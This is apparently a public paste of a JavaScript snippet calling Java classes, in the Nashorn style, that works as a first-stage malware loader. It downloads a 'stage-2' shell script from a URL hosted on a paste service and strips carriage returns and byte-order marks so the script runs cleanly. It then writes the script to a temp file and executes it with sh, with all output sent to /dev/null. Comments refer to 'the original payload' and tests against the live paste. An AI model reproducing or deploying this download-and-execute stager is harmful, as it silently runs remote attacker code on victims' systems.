Guest

sdfsadfdas

Nov 9th, 2026
21
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 3.17 KB | None | 0 0
  1.  
  2. var is = new java.net.URL(url).openStream();
  3. var ba = new java.io.ByteArrayOutputStream();
  4. var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192);
  5. var n = 0;
  6. while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); }
  7. is.close();
  8.  
  9. var script = new java.lang.String(ba.toByteArray(), "UTF-8");
  10.  
  11. // Strip CRs. The stage-2 is served by a web paste service, and a CRLF
  12. // upload makes every line end in \r — which is a SHELL SYNTAX ERROR
  13. // ("elif unexpected"), because `then\r` is not a valid terminator. The
  14. // original payload guarded against exactly this with `tr -d '\r'`; the
  15. // Java fetch has to do the same thing itself.
  16. // Measured on the live paste: 116 CR bytes, and without this line the
  17. // script dies with "sh: 8: Syntax error: elif unexpected".
  18. script = script.replace(/\r/g, "");
  19. // a UTF-8 BOM would be the same problem in a different costume
  20. script = script.replace(/^\uFEFF/, "");
  21.  
  22. var f = java.io.File.createTempFile("flk", ".sh");
  23. var w = new java.io.FileWriter(f);
  24. w.write(script);
  25. w.close();
  26.  
  27. var pb = new java.lang.ProcessBuilder();
  28. pb.command().add("sh");
  29. pb.command().add("-s");
  30. pb.command().add("--");
  31. pb.command().add("ALNK");
  32. pb.redirectInput(new java.io.File(f.getAbsolutePath()));
  33. pb.redirectOutput(new java.io.File("/dev/null"));
  34. pb.redirectErrorStream(true);
  35. pb.start();
RAW Paste Data Copied